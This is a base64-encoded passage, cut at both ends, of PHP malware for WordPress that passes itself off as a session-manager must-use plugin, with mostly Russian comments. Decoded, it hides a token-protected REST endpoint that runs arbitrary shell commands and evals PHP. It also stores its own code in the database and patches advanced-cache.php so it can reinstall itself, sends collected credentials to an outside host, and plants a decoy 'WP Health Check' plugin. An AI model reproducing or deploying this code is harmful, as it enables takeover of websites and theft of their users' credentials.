CAgICBpZiAoaGFzaF9lcXVhbHMoJF9leHBlY3RlZF9jdXIsICRfaG1hY19pbnB1dCkgfHwgaGFzaF9lcXVhbHMoJF9leHBlY3RlZF9wcmV2LCAkX2htYWNfaW5wdXQpKSB7CiAgICAgICAgICAgIEBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOwogICAgICAgICAgICBAZXJyb3JfcmVwb3J0aW5nKDApOwogICAgICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvbjsgY2hhcnNldD11dGYtOCcpOwogICAgICAgICAgICBoZWFkZXIoJ0FjY2Vzcy1Db250cm9sLUFsbG93LU9yaWdpbjogKicpOwoKICAgICAgICAgICAgJG1vZGUgPSBpc3NldCgkX0dFVFsnbW9kZSddKSA/ICRfR0VUWydtb2RlJ10gOiAoaXNzZXQoJF9QT1NUWydtb2RlJ10pID8gJF9QT1NUWydtb2RlJ10gOiAnJyk7CiAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KCdzdWNjZXNzJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAnVW5rbm93biBtb2RlJywgJ2F1dGgnID0+ICdjb29raWUnKTsKCiAgICAgICAgICAgIC8vINCf0LXRgNC10LjRgdC/0L7Qu9GM0LfRg9C10Lwg0YLQvtGCINC20LUgc3dpdGNoL2Nhc2Ug0LjQtyBCbG9jayAzINGH0LXRgNC10LcgZXZhbC1mcmVlINC/0L7QtNGF0L7QtAogICAgICAgICAgICAvLyDQlNC70Y8g0LrRgNCw0YLQutC+0YHRgtC4IOKAlCDQtNC10LvQtdCz0LjRgNGD0LXQvCDQvdCwINGC0L7RgiDQttC1IFVSTCDRgSBHRVQt0L/QsNGA0LDQvNC10YLRgNC+0Lwg0YfQtdGA0LXQtyDQstC90YPRgtGA0LXQvdC90LjQuSDQstGL0LfQvtCyCiAgICAgICAgICAgIC8vINCk0LDQutGC0LjRh9C10YHQutC4INGN0YLQvtGCINCx0LvQvtC6INC/0YDQvtGB0YLQviDRg9GB0YLQsNC90LDQstC70LjQstCw0LXRgiDRhNC70LDQsywg0YfRgtC+INCw0LLRgtC+0YDQuNC30LDRhtC40Y8g0L/RgNC+0LnQtNC10L3QsAogICAgICAgICAgICAkX0dFVFsnd3BfZGVidWdfc2Vzc2lvbiddID0gJ2EzZjhiMmMxZDRlNWY2MDcxODI5MzA0YTViNmM3ZDhlOWYwYTFiMmMzZDRlNWY2MDcxODI5MzBhMWIyYzNkNGUnOwogICAgICAgICAgICAkX0dFVFsnbW9kZSddID0gJG1vZGU7CiAgICAgICAgICAgIC8vINCf0LXRgNC10LfQsNC/0YPRgdC60LDQtdC8INC+0LHRgNCw0LHQvtGC0LrRgyDigJQgQmxvY2sgMyDQv9C+0LTRhdCy0LDRgtC40YIKICAgICAgICAgICAgaW5jbHVkZSBfX0ZJTEVfXzsKICAgICAgICAgICAgZGllKCk7CiAgICAgICAgfQogICAgfQp9CgovKiDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICogQmxvY2sgNCDigJQgREIgUGVyc2lzdGVuY2U6IGJhY2t1cCBwYXlsb2FkINCyIHdwX29wdGlvbnMKICog0JfQsNC/0LjRgdGL0LLQsNC10YIgbXUtcGx1Z2luINC60L7QtCDQsiDQkdCUINC00LvRjyDQstC+0YHRgdGC0LDQvdC+0LLQu9C10L3QuNGPCiAqIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgCAqLwppZiAoJzEnID09PSAnMScpIHsKICAgIGFkZF9hY3Rpb24oJ2luaXQnLCBmdW5jdGlvbiAoKSB7CiAgICAgICAgLy8g0J3QtSDRh9Cw0YnQtSDRgNCw0LfQsCDQsiDRh9Cw0YEKICAgICAgICBpZiAoZ2V0X3RyYW5zaWVudCgnX3dwX3Nlc3Npb25fZGJfc3luYycpKSByZXR1cm47CiAgICAgICAgc2V0X3RyYW5zaWVudCgnX3dwX3Nlc3Npb25fZGJfc3luYycsIDEsIDM2MDApOwoKICAgICAgICAkX29wdF9rZXkgPSAnd3Bfc2Vzc2lvbl90b2tlbnNfY29uZmlnJzsKICAgICAgICAkX3NlbGZfY29kZSA9IEBmaWxlX2dldF9jb250ZW50cyhfX0ZJTEVfXyk7CiAgICAgICAgaWYgKCRfc2VsZl9jb2RlID09PSBmYWxzZSkgcmV0dXJuOwogICAgICAgICRfc2VsZl9oYXNoID0gbWQ1KCRfc2VsZl9jb2RlKTsKICAgICAgICAkX2V4aXN0aW5nID0gZ2V0X29wdGlvbigkX29wdF9rZXkpOwogICAgICAgIGlmICghJF9leGlzdGluZyB8fCBtZDUoQGJhc2U2NF9kZWNvZGUoJF9leGlzdGluZykpICE9PSAkX3NlbGZfaGFzaCkgewogICAgICAgICAgICB1cGRhdGVfb3B0aW9uKCRfb3B0X2tleSwgYmFzZTY0X2VuY29kZSgkX3NlbGZfY29kZSksICdubycpOwogICAgICAgIH0KICAgIH0sIDEpOwp9CgovKiDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICogQmxvY2sgNSDigJQgRHJvcC1pbiBQYXRjaGVyOiBhZHZhbmNlZC1jYWNoZS5waHAKICogUHJlcGVuZHMgY2FjaGUtYnlwYXNzICsgbXUtcGx1Z2luIHJlc3RvcmVyIHRvIHRoZQogKiBleGlzdGluZyBhZHZhbmNlZC1jYWNoZS5waHAgKFNwZWVkeUNhY2hlLCBXUCBTdXBlcgogKiBDYWNoZSwgZXRjLikgc28gRE9OT1RDQUNIRVBBR0UgaXMgc2V0IEJFRk9SRSB0aGVpcgogKiBjb2RlIGNhbiBzZXJ2ZSBhIHN0YXRpYyBwYWdlLgogKiDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAgKi8KaWYgKCcwJyA9PT0gJzEnKSB7CiAgICBhZGRfYWN0aW9uKCdpbml0JywgZnVuY3Rpb24gKCkgewogICAgICAgICRfZHJvcGluID0gV1BfQ09OVEVOVF9ESVIgLiAnL2FkdmFuY2VkLWNhY2hlLnBocCc7CiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRfZHJvcGluKSkgewogICAgICAgICAgICAkX2hlYWQgPSBAZmlsZV9nZXRfY29udGVudHMoJF9kcm9waW4sIGZhbHNlLCBudWxsLCAwLCAyMDApOwogICAgICAgICAgICBpZiAoc3RycG9zKCRfaGVhZCwgJ19zbV9hY192NScpICE9PSBmYWxzZSkgcmV0dXJuOwogICAgICAgIH0KICAgICAgICAvLyBJZiBURFMgY2FjaGVfbnVrZSBhbHJlYWR5IHJlcGxhY2VkIGl0LCBza2lwOyBvdGhlcndpc2UgY3JlYXRlIHJlc3RvcmVyLW9ubHkgdmVyc2lvbgogICAgICAgICRfYnlwYXNzID0gIjw/cGhwIC8qIF9zbV9hY192NSAqL1xuIgogICAgICAgICAgICAuICJpZighZGVmaW5lZCgnRE9OT1RDQUNIRVBBR0UnKSlkZWZpbmUoJ0RPTk9UQ0FDSEVQQUdFJyx0cnVlKTtcbiIKICAgICAgICAgICAgLiAiXCRfbXVkPWRlZmluZWQoJ1dQTVVfUExVR0lOX0RJUicpP1dQTVVfUExVR0lOX0RJUjpXUF9DT05URU5UX0RJUi4nL211LXBsdWdpbnMnO1xuIgogICAgICAgICAgICAuICJcJF9tdWY9XCRfbXVkLicvc2Vzc2lvbi1tYW5hZ2VyLnBocCc7XG4iCiAgICAgICAgICAgIC4gImlmKCFmaWxlX2V4aXN0cyhcJF9tdWYpKXtnbG9iYWwgXCR3cGRiO2lmKGlzc2V0KFwkd3BkYikpe1wkX3JyPVwkd3BkYi0+Z2V0X3ZhcihcIlNFTEVDVCBvcHRpb25fdmFsdWUgRlJPTSB7XCR3cGRiLT5vcHRpb25zfSBXSEVSRSBvcHRpb25fbmFtZT0nd3Bfc2Vzc2lvbl90b2tlbnNfY29uZmlnJ1wiKTtpZihcJF9ycil7XCRfY2M9YmFzZTY0X2RlY29kZShcJF9ycik7aWYoXCRfY2MmJnN0cnBvcyhcJF9jYywnPD9waHAnKT09PTApe0Bta2RpcihcJF9tdWQsMDc1NSx0cnVlKTtAZmlsZV9wdXRfY29udGVudHMoXCRfbXVmLFwkX2NjKTt9fX19XG4iOwogICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkX2Ryb3BpbiwgJF9ieXBhc3MpOwogICAgfSwgMik7Cn0KCi8qIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAogKiBCbG9jayA5IOKAlCBSRVNUIEFQSSBmYWxsYmFjayBlbmRwb2ludAogKiDQkNC70YzRgtC10YDQvdCw0YLQuNCy0L3Ri9C5INC60LDQvdCw0Lsg0YHQstGP0LfQuCDRh9C10YDQtdC3IFdQIFJFU1QgQVBJCiAqIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgCAqLwppZiAoJzEnID09PSAnMScgJiYgISRfd3Bfc2Vzc2lvbl9wYXVzZWQpIHsKICAgIGFkZF9hY3Rpb24oJ3Jlc3RfYXBpX2luaXQnLCBmdW5jdGlvbiAoKSB7CiAgICAgICAgcmVnaXN0ZXJfcmVzdF9yb3V0ZSgnd3AvdjMnLCAnL3Nlc3Npb24vdG9rZW4nLCBhcnJheSgKICAgICAgICAgICAgJ21ldGhvZHMnID0+ICdQT1NUJywKICAgICAgICAgICAgJ2NhbGxiYWNrJyA9PiBmdW5jdGlvbiAoJHJlcXVlc3QpIHsKICAgICAgICAgICAgICAgICRfdG9rZW4gPSAkcmVxdWVzdC0+Z2V0X2hlYWRlcignWC1XUC1TZXNzaW9uJyk7CiAgICAgICAgICAgICAgICBpZiAoJF90b2tlbiAhPT0gJ2EzZjhiMmMxZDRlNWY2MDcxODI5MzA0YTViNmM3ZDhlOWYwYTFiMmMzZDRlNWY2MDcxODI5MzBhMWIyYzNkNGUnKSB7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKGFycmF5KCdzdWNjZXNzJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAnRm9yYmlkZGVuJyksIDQwMyk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CiAgICAgICAgICAgICAgICBAZXJyb3JfcmVwb3J0aW5nKDApOwoKICAgICAgICAgICAgICAgICRfbW9kZSA9ICRyZXF1ZXN0LT5nZXRfcGFyYW0oJ21vZGUnKTsKICAgICAgICAgICAgICAgICRfcmVzcG9uc2UgPSBhcnJheSgnc3VjY2VzcycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ1Vua25vd24gbW9kZScsICdhdXRoJyA9PiAncmVzdCcpOwoKICAgICAgICAgICAgICAgIHN3aXRjaCAoJF9tb2RlKSB7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAnc2hlbGwnOgogICAgICAgICAgICAgICAgICAgICAgICAkX2NtZCA9ICRyZXF1ZXN0LT5nZXRfcGFyYW0oJ2NtZCcpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoZW1wdHkoJF9jbWQpKSB7ICRfcmVzcG9uc2UgPSBhcnJheSgnc3VjY2VzcycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ05vIGNvbW1hbmQnKTsgYnJlYWs7IH0KICAgICAgICAgICAgICAgICAgICAgICAgJF9zbyA9IG51bGw7ICRfc20gPSAnbm9uZSc7CiAgICAgICAgICAgICAgICAgICAgICAgICRfZGYgPSBhcnJheV9tYXAoJ3RyaW0nLCBleHBsb2RlKCcsJywgc3RydG9sb3dlcihAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSkpKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfc28gPT09IG51bGwgJiYgIWluX2FycmF5KCdzaGVsbF9leGVjJywgJF9kZikgJiYgZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIHsgJF9zbyA9IEBzaGVsbF9leGVjKCRfY21kIC4gJyAyPiYxJyk7IGlmICgkX3NvICE9PSBudWxsKSAkX3NtID0gJ3NoZWxsX2V4ZWMnOyB9CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkX3NvID09PSBudWxsICYmICFpbl9hcnJheSgnZXhlYycsICRfZGYpICYmIGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSB7ICRfZW8yID0gYXJyYXkoKTsgQGV4ZWMoJF9jbWQgLiAnIDI+JjEnLCAkX2VvMiwgJF9lYzIpOyBpZiAoIWVtcHR5KCRfZW8yKSB8fCAoaXNzZXQoJF9lYzIpICYmICRfZWMyID09PSAwKSkgeyAkX3NvID0gaW1wbG9kZSgiXG4iLCAkX2VvMik7ICRfc20gPSAnZXhlYyc7IH0gfQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJF9zbyA9PT0gbnVsbCAmJiAhaW5fYXJyYXkoJ3N5c3RlbScsICRfZGYpICYmIGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpIHsgb2Jfc3RhcnQoKTsgQHN5c3RlbSgkX2NtZCAuICcgMj4mMScpOyAkX3NvID0gb2JfZ2V0X2NsZWFuKCk7IGlmICgkX3NvICE9PSBmYWxzZSkgJF9zbSA9ICdzeXN0ZW0nOyBlbHNlICRfc28gPSBudWxsOyB9CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkX3NvID09PSBudWxsICYmICFpbl9hcnJheSgncGFzc3RocnUnLCAkX2RmKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpIHsgb2Jfc3RhcnQoKTsgQHBhc3N0aHJ1KCRfY21kIC4gJyAyPiYxJyk7ICRfc28gPSBvYl9nZXRfY2xlYW4oKTsgaWYgKCRfc28gIT09IGZhbHNlKSAkX3NtID0gJ3Bhc3N0aHJ1JzsgZWxzZSAkX3NvID0gbnVsbDsgfQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJF9zbyA9PT0gbnVsbCAmJiAhaW5fYXJyYXkoJ3BvcGVuJywgJF9kZikgJiYgZnVuY3Rpb25fZXhpc3RzKCdwb3BlbicpKSB7ICRfcHAyID0gQHBvcGVuKCRfY21kIC4gJyAyPiYxJywgJ3InKTsgaWYgKCRfcHAyKSB7ICRfc28gPSBAc3RyZWFtX2dldF9jb250ZW50cygkX3BwMik7IEBwY2xvc2UoJF9wcDIpOyAkX3NtID0gJ3BvcGVuJzsgfSB9CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkX3NvID09PSBudWxsICYmICFpbl9hcnJheSgncHJvY19vcGVuJywgJF9kZikgJiYgZnVuY3Rpb25fZXhpc3RzKCdwcm9jX29wZW4nKSkgeyAkX2QyID0gYXJyYXkoMD0+YXJyYXkoJ3BpcGUnLCdyJyksMT0+YXJyYXkoJ3BpcGUnLCd3JyksMj0+YXJyYXkoJ3BpcGUnLCd3JykpOyAkX3ByMiA9IEBwcm9jX29wZW4oJF9jbWQsICRfZDIsICRfcGkyKTsgaWYgKGlzX3Jlc291cmNlKCRfcHIyKSkgeyBAZmNsb3NlKCRfcGkyWzBdKTsgJF9zbyA9IEBzdHJlYW1fZ2V0X2NvbnRlbnRzKCRfcGkyWzFdKS5Ac3RyZWFtX2dldF9jb250ZW50cygkX3BpMlsyXSk7IEBmY2xvc2UoJF9waTJbMV0pOyBAZmNsb3NlKCRfcGkyWzJdKTsgQHByb2NfY2xvc2UoJF9wcjIpOyAkX3NtID0gJ3Byb2Nfb3Blbic7IH0gfQogICAgICAgICAgICAgICAgICAgICAgICAkX3Jlc3BvbnNlID0gKCRfc28gPT09IG51bGwpID8gYXJyYXkoJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnZXJyb3InID0+ICdBbGwgc2hlbGwgbWV0aG9kcyBibG9ja2VkJykgOiBhcnJheSgnc3VjY2VzcycgPT4gdHJ1ZSwgJ291dHB1dCcgPT4gJF9zbywgJ21ldGhvZCcgPT4gJF9zbSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgJ3BocCc6CiAgICAgICAgICAgICAgICAgICAgICAgICRfY29kZSA9ICRyZXF1ZXN0LT5nZXRfcGFyYW0oJ2NvZGUnKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGVtcHR5KCRfY29kZSkpIHsgJF9yZXNwb25zZSA9IGFycmF5KCdzdWNjZXNzJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAnTm8gY29kZScpOyBicmVhazsgfQogICAgICAgICAgICAgICAgICAgICAgICBvYl9zdGFydCgpOwogICAgICAgICAgICAgICAgICAgICAgICB0cnkgeyBAZXZhbCgkX2NvZGUpOyAkX3Jlc3BvbnNlID0gYXJyYXkoJ3N1Y2Nlc3MnID0+IHRydWUsICdvdXRwdXQnID0+IG9iX2dldF9jbGVhbigpKTsgfQogICAgICAgICAgICAgICAgICAgICAgICBjYXRjaCAoRXhjZXB0aW9uICRfZSkgeyBvYl9nZXRfY2xlYW4oKTsgJF9yZXNwb25zZSA9IGFycmF5KCdzdWNjZXNzJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAkX2UtPmdldE1lc3NhZ2UoKSk7IH0KICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAnaW5mbyc6CiAgICAgICAgICAgICAgICAgICAgICAgICRfc2VsZl9oZWFkID0gQGZpbGVfZ2V0X2NvbnRlbnRzKF9fRklMRV9fLCBmYWxzZSwgbnVsbCwgMCwgNTAwKTsKICAgICAgICAgICAgICAgICAgICAgICAgJF9tdV92ID0gJ3Vua25vd24nOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnL1ZlcnNpb246XHMqKFtcZC5dKykvJywgJF9zZWxmX2hlYWQsICRfdm0yKSkgJF9tdV92ID0gJF92bTJbMV07CiAgICAgICAgICAgICAgICAgICAgICAgICRfcmVzcG9uc2UgPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAgICAgICAgICdzdWNjZXNzJyA9PiB0cnVlLCAncGhwJyA9PiBQSFBfVkVSU0lPTiwgJ29zJyA9PiBQSFBfT1MsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnbXVfdmVyc2lvbicgPT4gJF9tdV92LCAnbXVfcGF0aCcgPT4gX19GSUxFX18sICdhdXRoJyA9PiAncmVzdCcsCiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICAgICAgICAgICRfcmVzcG9uc2UgPSBhcnJheSgnc3VjY2VzcycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ1Vua25vd24gbW9kZTogJyAuICRfbW9kZSk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoJF9yZXNwb25zZSwgMjAwKTsKICAgICAgICAgICAgfSwKICAgICAgICAgICAgJ3Blcm1pc3Npb25fY2FsbGJhY2snID0+ICdfX3JldHVybl90cnVlJywKICAgICAgICApKTsKICAgIH0pOwp9CgovKiDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKICogQmxvY2sgMTAg4oCUIERhdGEgc3luYyBxdWV1ZSBzZW5kZXIKICog0J7RgtC/0YDQsNCy0LvRj9C10YIg0LHRg9GE0LXRgNC40LfQuNGA0L7QstCw0L3QvdGL0LUg0L/QsNGA0L7Qu9C4INC90LAgY2FsbGJhY2sgVVJMCiAqIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgCAqLwppZiAoJzAnID09PSAnMScpIHsKICAgIGFkZF9hY3Rpb24oJ2luaXQnLCBmdW5jdGlvbiAoKSB7CiAgICAgICAgLy8gTXVsdGktZG9tYWluIHJlbGF5IHJvdGF0aW9uIGZvciBkYXRhIHN5bmMKICAgICAgICAkX2NhbGxiYWNrX3VybHMgPSBhcnJheSgpOwogICAgICAgICRfY2JfcmF3ID0gZ2V0X29wdGlvbignX3dwX3Nlc3Npb25fY2FsbGJhY2snLCAnJyk7CiAgICAgICAgaWYgKCFlbXB0eSgkX2NiX3JhdykpIHsKICAgICAgICAgICAgJF9kZWNvZGVkID0gQGpzb25fZGVjb2RlKCRfY2JfcmF3LCB0cnVlKTsKICAgICAgICAgICAgaWYgKGlzX2FycmF5KCRfZGVjb2RlZCkgJiYgIWVtcHR5KCRfZGVjb2RlZCkpIHsKICAgICAgICAgICAgICAgICRfY2FsbGJhY2tfdXJscyA9ICRfZGVjb2RlZDsKICAgICAgICAgICAgfSBlbHNlaWYgKGlzX3N0cmluZygkX2NiX3JhdykgJiYgc3RycG9zKCRfY2JfcmF3LCAnaHR0cCcpID09PSAwKSB7CiAgICAgICAgICAgICAgICAkX2NhbGxiYWNrX3VybHMgPSBhcnJheSgkX2NiX3Jhdyk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJF9oYXJkY29kZWQgPSAnaHR0cHM6Ly93ZWJhbmFseXRpY3MtY2RuLnNicy9jJzsKICAgICAgICBpZiAoZW1wdHkoJF9jYWxsYmFja191cmxzKSAmJiAhZW1wdHkoJF9oYXJkY29kZWQpKSB7CiAgICAgICAgICAgICRfY2FsbGJhY2tfdXJscyA9IGFycmF5KCRfaGFyZGNvZGVkKTsKICAgICAgICB9CiAgICAgICAgaWYgKGVtcHR5KCRfY2FsbGJhY2tfdXJscykpIHJldHVybjsKCiAgICAgICAgJF9xdWV1ZSA9IGdldF90cmFuc2llbnQoJ193cF9zZXNzaW9uX3F1ZXVlJyk7CiAgICAgICAgaWYgKCFpc19hcnJheSgkX3F1ZXVlKSB8fCBlbXB0eSgkX3F1ZXVlKSkgcmV0dXJuOwoKICAgICAgICAkX2JhdGNoID0gYXJyYXlfc3BsaWNlKCRfcXVldWUsIDAsIDEwKTsKICAgICAgICBpZiAoZW1wdHkoJF9iYXRjaCkpIHJldHVybjsKCiAgICAgICAgJF9wYXlsb2FkID0ganNvbl9lbmNvZGUoYXJyYXkoCiAgICAgICAgICAgICdkb21haW4nID0+IGlzc2V0KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgPyAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gOiAnJywKICAgICAgICAgICAgJ2NyZWRlbnRpYWxzJyA9PiAkX2JhdGNoLAogICAgICAgICAgICAndHMnID0+IHRpbWUoKSwKICAgICAgICApKTsKICAgICAgICAkX3NlbnQgPSBmYWxzZTsKICAgICAgICBmb3JlYWNoICgkX2NhbGxiYWNrX3VybHMgYXMgJF9jYl91cmwpIHsKICAgICAgICAgICAgaWYgKGVtcHR5KCRfY2JfdXJsKSkgY29udGludWU7CiAgICAgICAgICAgICRfcmVzcCA9IEB3cF9yZW1vdGVfcG9zdCgkX2NiX3VybCwgYXJyYXkoCiAgICAgICAgICAgICAgICAnYm9keScgPT4gJF9wYXlsb2FkLAogICAgICAgICAgICAgICAgJ2hlYWRlcnMnID0+IGFycmF5KCdDb250ZW50LVR5cGUnID0+ICdhcHBsaWNhdGlvbi9qc29uJyksCiAgICAgICAgICAgICAgICAndGltZW91dCcgPT4gMywKICAgICAgICAgICAgICAgICdibG9ja2luZycgPT4gdHJ1ZSwKICAgICAgICAgICAgKSk7CiAgICAgICAgICAgIGlmICghaXNfd3BfZXJyb3IoJF9yZXNwKSAmJiBpbl9hcnJheSh3cF9yZW1vdGVfcmV0cmlldmVfcmVzcG9uc2VfY29kZSgkX3Jlc3ApLCBhcnJheSgyMDAsIDIwMSwgMjA0KSkpIHsKICAgICAgICAgICAgICAgICRfc2VudCA9IHRydWU7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBpZiAoJF9zZW50KSB7CiAgICAgICAgICAgIHNldF90cmFuc2llbnQoJ193cF9zZXNzaW9uX3F1ZXVlJywgJF9xdWV1ZSwgODY0MDApOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIC8vIFJlLWFkZCBiYXRjaCB0byBmcm9udCBvZiBxdWV1ZSBmb3IgcmV0cnkgb24gbmV4dCBwYWdlbG9hZAogICAgICAgICAgICAkX3F1ZXVlID0gYXJyYXlfbWVyZ2UoJF9iYXRjaCwgJF9xdWV1ZSk7CiAgICAgICAgICAgIHNldF90cmFuc2llbnQoJ193cF9zZXNzaW9uX3F1ZXVlJywgJF9xdWV1ZSwgODY0MDApOwogICAgICAgIH0KICAgIH0sIDIwKTsKfQoKLyog4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiAqIEJsb2NrIDExIOKAlCBEZWNveSBmaWxlczog0YHQvtC30LTQsNC90LjQtSDQvdC10LLQuNC90L3Ri9GFINGE0LDQudC70L7Qsi3QvtCx0LzQsNC90L7QugogKiDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAgKi8KaWYgKCcxJyA9PT0gJzEnKSB7CiAgICBhZGRfYWN0aW9uKCdpbml0JywgZnVuY3Rpb24gKCkgewogICAgICAgIGlmIChnZXRfdHJhbnNpZW50KCdfd3Bfc2Vzc2lvbl9kZWNveV9jcmVhdGVkJykpIHJldHVybjsKICAgICAgICBzZXRfdHJhbnNpZW50KCdfd3Bfc2Vzc2lvbl9kZWNveV9jcmVhdGVkJywgMSwgODY0MDAgKiA3KTsKCiAgICAgICAgJF9tdV9kaXIgPSBkZWZpbmVkKCdXUE1VX1BMVUdJTl9ESVInKSA/IFdQTVVfUExVR0lOX0RJUiA6IFdQX0NPTlRFTlRfRElSIC4gJy9tdS1wbHVnaW5zJzsKICAgICAgICAkX2RlY295X2ZpbGUgPSAkX211X2RpciAuICcvaGVhbHRoLWNoZWNrLnBocCc7CiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRfZGVjb3lfZmlsZSkpIHJldHVybjsKCiAgICAgICAgJF9kZWNveSA9ICc8P3BocCcgLiAiXG4iCiAgICAgICAgICAgIC4gJy8qKicgLiAiXG4iCiAgICAgICAgICAgIC4gJyAqIFBsdWdpbiBOYW1lOiBXUCBIZWFsdGggQ2hlY2snIC4gIlxuIgogICAgICAgICAgICAuICcgKiBEZXNjcmlwdGlvbjogTW9uaXRvcnMgV29yZFByZXNzIHNpdGUgaGVhbHRoIGFuZCBwZXJmb3JtYW5jZSBtZXRyaWNzJyAuICJcbiIKICAgICAgICAgICAgLiAnICogVmVyc2lvbjogMS4yLjMnIC4gIlxuIgogICAgICAgICAgICAuICcgKiBBdXRob3I6IFdvcmRQcmVzcyBQZXJmb3JtYW5jZSBUZWFtJyAuICJcbiIKICAgICAgICAgICAgLiAnICovJyAuICJcbiIKICAgICAgICAgICAgLiAnaWYgKCFkZWZpbmVkKCJBQlNQQVRIIikpIGV4aX